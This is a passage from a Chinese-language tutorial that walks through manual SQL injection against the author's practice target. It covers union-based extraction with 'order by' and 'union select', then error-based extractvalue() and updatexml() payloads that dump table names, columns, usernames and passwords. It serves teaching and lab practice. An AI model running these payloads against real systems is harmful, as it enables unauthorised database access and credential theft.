发现一:如上图所示,访问我的靶机后,出现了两个字段,分别为id和name。(字段也就是列)
发现二:URL栏里面,有传参的形式出现(?/req=username='hacker',也就是这个 参数)
注意:%3d为等于号=
注意:%20为空格
注意:%27为单引号
//以上,可以确认为GET型注入(也就是从URL栏输入的)
2.开始试探一下:确认注入点
①如何试探呢?
我们一般在拿到一个注入点后,就输入一个单引号'
,尝试是否会有报错,从而得到返回的sql查询语句
②那么为什么返回的报错语句,就是sql查询语句呢?
因为,正常访问的时候,都是通过传递参数给一条查询语句,这条语句在传到sql服务器,运行该语句命令,调取相关的内容,最后回显给浏览器
③好了,上图:
④分析:
发现一:回显了报错内容,并且为 select * from users where username='hacker' '
⑤尝试 and 1=1
⑥再次尝试and 1=2
//以上,可以确认无过滤,而且可以直接注入
3.使用order by猜解字段数,也就是列数,毕竟联合查询必须要列数相同。
① 好了,开始二分法猜解法。(也就是一半一半的分,直到正确回显的临界值)
输入:order by 10
报错
输入:order by 5
报错
输入:order by 3
回显正常
输入:order by 4
报错
//以上,确认有三列,也就是三个字段
4.使用联合查询,确认哪些字段会显示,以及显示的顺序
①输入:union select 1,2,3
如图所示,显示2个字段的相应内容,并且回显顺序是自左向右
//好多人,可能会疑惑为什么要输入1,2呢?
实际上,这个1,2,3只是一个代数,标志一下从哪里开始显示第一位,第二位,第三位相应位置的内容
//好多没有mysql基础的人,会疑惑为什么union select 1,2,3 什么意义?
好了,上源码分析吧:`select * from users where username='hacker' union select 1,2,3`
①咳咳咳,这条语句的select * from users 其实就是在表users内查询所有内容,我们通过order by猜解有三个字段(也就是三个列),
②where username='hacker' 也就是,匹配到username字段值为hacker时候,回显该条内容
③union select 1,2,3,其实就是在users表的三个列的基础上,加上一横排的1,2,3
比如下图:
//以上判断了位置1和位置2的查询,会回显,并且显示顺序是自左向右(注意不要把位置3忘记了)
②继续联合查询,把1和2的位置替换为函数等等,获取信息。
获取数据库名和版本信息:union select database(),version(),3
获取当前路径和当前用户信息:union select @@basedir,user(),3
获取库里的表: union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()
获取表里的字段(也就是列):union select (column_name),2,3 from information_schema.columns where table_name='users'
获取字段的信息:union select username,password,3 from users
1.暴表:and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))
如下图所示:表名为users,
①~就是0x7e
②limit 0,1 意思是从第一行,开始读第一个
2.暴第一个字段:and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))
如下图所示:第一个字段(也就是第一个列)是id
3.暴第二个字段:and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e))
4.暴第三个字段:and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e))
//可以继续爆字段,但是我们这里暴除了username和password,查看一下内容吧
5.开始暴第一个用户名+密码: and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users limit 0,1),0x7e))
6.开始暴第二个用户名+密码: and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e))
//789继续暴出用户名和密码,如上,简单的复现了报错注入的过程
注入过程如下:
and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
and updatexml(1,concat(0x7e,(select user()),0x7e),1)
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
and updatexml(1,concat(0x7e,(select distinct concat(0x7e,(select schema_name),0x7e) from user limit 0,1),0x7e),1)
//以下的语句同一二方法差不多